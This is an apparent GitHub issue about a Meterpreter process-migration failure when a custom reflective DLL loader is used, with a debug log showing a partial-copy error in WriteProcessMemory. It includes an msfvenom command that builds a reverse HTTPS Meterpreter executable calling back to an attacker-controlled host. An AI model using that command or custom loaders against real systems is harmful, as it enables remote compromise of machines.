Skip to content

Meterpreter migrate bug when using custom RDI loader #796

Description

@PYfffE

I created custom RDI loader (ReflectiveLoader loader exe file).
Meterterpreter and it's Reflected DLL Injection fork sources is fully untouchable.

A timeout error occurs when migrating to another process. After enabling dprintf I encountered a memory copy error:

[SNIP]
[5264] [2074] [WINAPI][winapi_kernel32_OpenProcess] Syscall ZwOpenProcess returned: 0 
[5264] [2074] [MIGRATE] creating the configuration block 
[5264] [2074] [CONFIG] preparing the configuration 
[5264] [2074] [CONFIG] Allocating 2082 bytes for transport, total of 2130 bytes 
[5264] [2074] [HTTP CONF] Writing timeouts 
[5264] [2074] [HTTP CONF] Writing UA 
[5264] [2074] [HTTP CONF] Done. 
[5264] [2074] [CONFIG] Total of 2140 bytes located at 0x00000256FD9F7010 
[5264] [2074] [MIGRATE] Config of 2140 bytes stashed at 0x00000256FD9F7010 
[5264] [2074] [WINAPI][winapi_kernel32_DuplicateHandle] Calling DuplicateHandle @ 00007FF84E874C30 
[5264] [2074] [MIGRATE] Duplicated Event Handle: 0xa7c 
[5264] [2074] [WINAPI][winapi_kernel32_VirtualAllocEx] Syscall ZwAllocateVirtualMemory returned: 0 
[5264] [2074] [MIGRATE] Migrate stub: 0x00000246E31E0000 -> 239 bytes 

HERE -> [5264] [2074] [WINAPI][winapi_kernel32_WriteProcessMemory] Syscall ZwWriteVirtualMemory returned: -2147483635 

[5264] [2074] [MIGRATE] WriteProcessMemory 1 failed. error=0 (0x0) 
[5264] [2074] [MIGRATE] Closing the process handle 0x000005b0 
[5264] [2074] [WINAPI][winapi_kernel32_CloseHandle] Calling CloseHandle @ 00007FF84E874C20 
[5264] [2074] [MIGRATE] Closing the event handle 0x00000708 
[5264] [2074] [WINAPI][winapi_kernel32_CloseHandle] Calling CloseHandle @ 00007FF84E874C20 
[5264] [2074] [MIGRATE] Finishing migration, result: 0
[SNIP]

First ZwWriteVirtualMemory returns with error code STATUS_PARTIAL_COPY. After several attempts to fix it, I found that if I put Sleep(500) before the first WriteProcessMemory (here), the error disappears.

However, I still don't understand what causes this behavior. And most importantly, why does the migration work without changes when using the msfvenom -f exe bootloader?

Every other meterpreter command works perfectly (load, getsystem, getuid, etc.).

The standard assembly at /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/metasploit-payloads-2.0.221/data/meterpreter/metsrv.x64.debug.dll has been replaced with a compiled one.

Meterpreter version - v2.0.242.

Compiler - MSVC (Visual Studio with minimal changes of default project configuration).

My stager is simple Reflective Dll Injecion fork. It's searching for ReflectiveLoader export, run it and calling DllMain with DLL_METASPLOIT_ATTACH argument. Config structure is identical to the structure generated by msfven.

Command to generate exe loader via msfvenom: msfvenom -p windows/x64/meterpreter_reverse_https LPORT=443 LHOST=[my-ip-address]-f exe -o ./met.exe.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions